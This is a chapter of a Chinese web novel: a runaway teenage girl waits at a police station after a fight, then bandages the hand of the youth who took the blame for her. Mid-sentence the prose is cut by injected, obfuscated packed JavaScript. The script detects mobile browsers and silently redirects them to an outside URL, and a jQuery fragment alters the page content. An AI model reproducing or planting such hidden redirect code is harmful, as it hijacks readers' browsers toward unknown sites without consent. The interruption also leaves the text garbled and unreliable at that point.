6. 不疼
作品:《她无法忍受》 高扬把所有过错都揽在了自己身上,负责审讯的女警见青山年纪小,又一副吓坏了的模样,也没多为难,例行公事问了几个问题便带着青山坐在等待室里,给她倒了杯温水。
“不用怕。”女警温言安慰了几句,“这事儿跟你没什么关系,就是里头那个小伙子可能得麻烦点,毕竟是他先打的人,得看看受害者愿不愿意和解。”
“那……”青山艰难地出声,“要是不和解呢?”
她脑海中闪过陈老板气焰嚣张的模样,一时有些全身发冷,这样的人怎么可能会选择和解,“如果不和解,他要坐牢吗?”
“嗯?”女警想了想,“怎么也得拘留几天吧。”
“拘留?”在青山看来,拘留和坐牢没什么区别,都会留下案底,可这一切都是因为她,因为她拿酒瓶子砸了人,因为她懦弱无能顺势随着高扬把罪责揽到自己身上,而高扬的罪,本是她该背负的。
“不是的,是我先打的人!”青山急急解释,“酒瓶是我砸的,他是替我顶罪,你们把我抓进去……”
“杨青山!”不知什么时候出来的孟琳厉声打断了她的话,阔步向她走过来,高跟鞋在地面上发出“急促”的哒哒声,她瞪了青山一眼,转而笑着对那女警官道谢,“警察同志,真是麻烦你了,我这个妹妹脑子有点问题的,总是爱说胡话,你说她一个小姑娘家家的哪儿来的胆子拿酒瓶往人脑袋啊砸啊,是不是?”
女警官也不知信没信,总之没多说什么,反而问孟琳:“你是她姐姐?”
“对对。”孟琳赶紧点头,“乡下来的远房表妹,年纪小,什么都不懂。”
“那你们也真是够大意的。”女警官瞪了眼孟琳,没好气地道,“你知不知道你妹妹没有户籍信息啊?出生的时候没办吗?孩子不懂也就算了,你们这些当大人的怎么还这么马马虎虎,你当这是旧社会啊?”
“啊?”孟琳并不知道青山是个黑户,被这么一骂也傻了,“这……这我还真不知道。”
女警官用一种无可救药的眼神看着她,不耐地摆摆手走了,“赶紧带她落户去。”
孟琳恍惚地在青山身边坐下,问:“你爸妈连户口都没给你办?”
“嗯。”青山深深低下头,嶙峋的肩膀怯怯缩着,像一只被人欺负狠了的小猫,想靠近却又不敢,她小心翼翼伸出爪子试探着,想知道究竟怎样这人才会厌弃,“我妈生我的时候是偷着生的,那会儿管得严。”
孟琳比她大十多岁,自然知道她说的是什么,只是亲眼见着,心里还是不好受。这几天相处下来,她知道青山不是那种叛逆不服管的女孩,反而有些怯懦自卑,这样的一个孩子,能鼓足勇气从家里跑出来,可想而知她曾经遭遇了什么。
“高扬的事儿,你别担心。”她知道青山心里在想什么,出言宽慰了几句,“陈天勇那个人吧,他是靠他老婆起家的,怕老婆怕得要死,刚才他老婆赶去了医院,那儿的警察跟她说了前因后果,他老婆是个明事理的,已经签了谅解书了。”
“那……”青山眼里忽地迸出光亮,“那高扬是不是不用坐牢了?”
“当然了。”孟琳撸了把青山毛茸茸的脑袋,嫌弃地擦了擦手,“你几天没洗头了?油不拉几的——那个陈天勇还好意思说我们先动手呢,也不看看阿让被他打成什么样了,我估计他的脸得肿成猪头。”
对了。
青山才放下的心又忽地提起来,僵直了背问,“阿让哥怎么样了?”
“应该问题不大吧,顶多就是破相。”孟琳晃着裙子上的穗儿,漫不经心道,“不过他那张脸破了相也挺好,省的招小姑娘了。”
“很多小姑娘喜欢他?”青山对美丑没什么概念,在村里大家都面朝黄土背朝天,瞧着谁都是一脸灰,也看不出个好赖模样来,阿让在她眼里,就是干净,比村里人都干净。
“是啊,咱们舞厅里那些年轻小姑娘基本上都是冲着他和高扬来的,不过高扬每天也就待一会儿功夫,高扬走了,那不就只能看他了吗。”
青山嘴角抽了抽,这话说的,好像阿让是凑合的那个。
“阿让这人吧,对谁都好,对姑娘尤其好,见不得别人欺负姑娘,来找他的那些小丫头呢,有的胆大,有的胆小,我记得之前有一个胆儿特别大,居然抱着阿让就亲了一口,阿让也没生气,抹了把脸客客气气地把话说清楚了,那姑娘也没再来。”
“他就这样儿,从来不跟人说重话,拒绝人也礼貌,除非真的生气,否则平时总是扯着嘴笑,也多亏他,我这舞厅生意才这么好。”
怪不得他看见孟琳被欺负这么生气呢。
正说话间,高扬便从审讯室里走了出来,两人感觉拥上去,“没事吧?”
“没事。”高扬摇头,“阿让还在医院?”
“在呢。”孟琳连忙应声,“听那小同志说,没什么大事,就是受了点皮外伤,陈天勇他老婆不追究,咱们都没事。”
高扬的手垂在身侧,青山正好瞥见他破皮红肿的指关节,应该是打人打得狠了,白白的皮肉翻起了边,里头淡红的血液干涸凝成痂,坠在皮肤上。
青山定定地盯着那处瞧,高扬觉出不对劲来,顺着青山的目光看过去,也看到了自己受伤的手,他顿了顿,不动声色将手背在身后,道:“走吧,我得回家,奶奶该担心了。”
“哦对。”孟琳一拍脑门,恍然大悟般回过神来,“今天太晚了,你先回去吧,我带着青山去医院看看阿让。”
“别叫她去了。”高扬看了眼青山,“出了这么多事,没看她吓傻了吗,你自己去吧,我送她回家。”
孟琳没注意到青山的情绪,她神经大条惯了,没有那么细心,闻言也同意了,“那你把人给我安全送到啊,我先走了。”
气氛陡然安静下来,青山眨巴眨巴眼,与高扬面面相觑。
“咳,走吧。”高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889059|192152||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扬也没什么跟小姑娘相处的经验,表面看着云淡风轻,其实比青山好不了多少,他站在青山身边,领着她往外走。
外头不知何时已落了雨,一股冷风迎面扑来,广州似乎一年四季都很潮湿,像个多泪的姑娘。
青山被冻得小小瑟缩了一下,高扬注意到,脱下身上的外套披在青山身上,回身进警局借了把伞撑在两人头顶,“走吧。”
“那你呢?你不冷吗?”
“不冷,刚打完一架,现在热得很。”
“哦……”青山信了,拢了拢宽大的外套。
雨不算大,只是密,细细密密的叫人淋了难受,黑色的伞面倾斜,将青山整个人笼在里头。
二人一路无言。
两人走得慢,但好在孟琳家距离警局不算远,片刻功夫就到了,青山将外套还给高扬,有些犹豫,手里捏着钥匙却没开门。
高扬以为是他在这里青山害怕,所以没开门,立马贴心地同她告别,“我先走了,你好好休息。”
青山见人要走,立马急了,“……等等。”
高扬臂弯里还搭着她刚刚披过的外套,就这么回头瞧她,雨幕中看不大真切他的面容,青山低着头道;“你的手……要不我给你包扎一下?”
怕高扬拒绝,她又补了句:“你奶奶,会担心的。”
想起家里的老太太,高扬柔了眉眼,“好,麻烦你了。”
“没什么。”青山立马高兴起来,笑眼弯弯,“算是谢谢你请我喝可乐。”
“行。”高扬失笑,跟在青山后头进了屋。
屋里也泛潮,老旧的钨丝灯晕着昏黄的光,青山出门的时候没想到会下雨,半开的窗户摇摇欲坠,冷雨从外头挤进来,落在桌前的书本上,纸张泡得有些发皱。
青山心疼地将书擦了擦,没敢用力,高扬在身后看她收拾,默不作声。
“你坐吧。”她不好意思叫人站着,只潦草擦了几下就去找药包,她记得孟琳跟她叮嘱过,家里有药包,应急完全够了。
好不容易从犄角旮旯里找出落灰的药包,青山坐在高扬身边,一时无从下手。
高扬没说话,将受伤的手递给青山,青山没和异性这么近距离接触过,有些紧张,两根手指小心捻起他的手掌,少年手掌温热有力,比青山大了一圈的手轻轻搭着,任她动作。
高扬坐在小板凳上仰头看她,女孩神情认真,蹙着眉给他消毒,包扎,动作轻柔地仿佛在对待一件易碎的玻璃制品,手中触感软绵又温凉,女孩的手细细小小的,似乎没有骨头,但并不细腻,一看就知道是干了许多活的。
青山没给人包扎过,手生得紧,系的结有些松散,她凑近去小心地解开,湿漉漉的呼吸喷洒在高扬手上,他呼吸滞了一瞬,有些不自在地动了下手指。
青山以为弄疼了他,连忙问道:“你疼吗?”
“没事。”高扬喉结滚了滚,“不疼。”

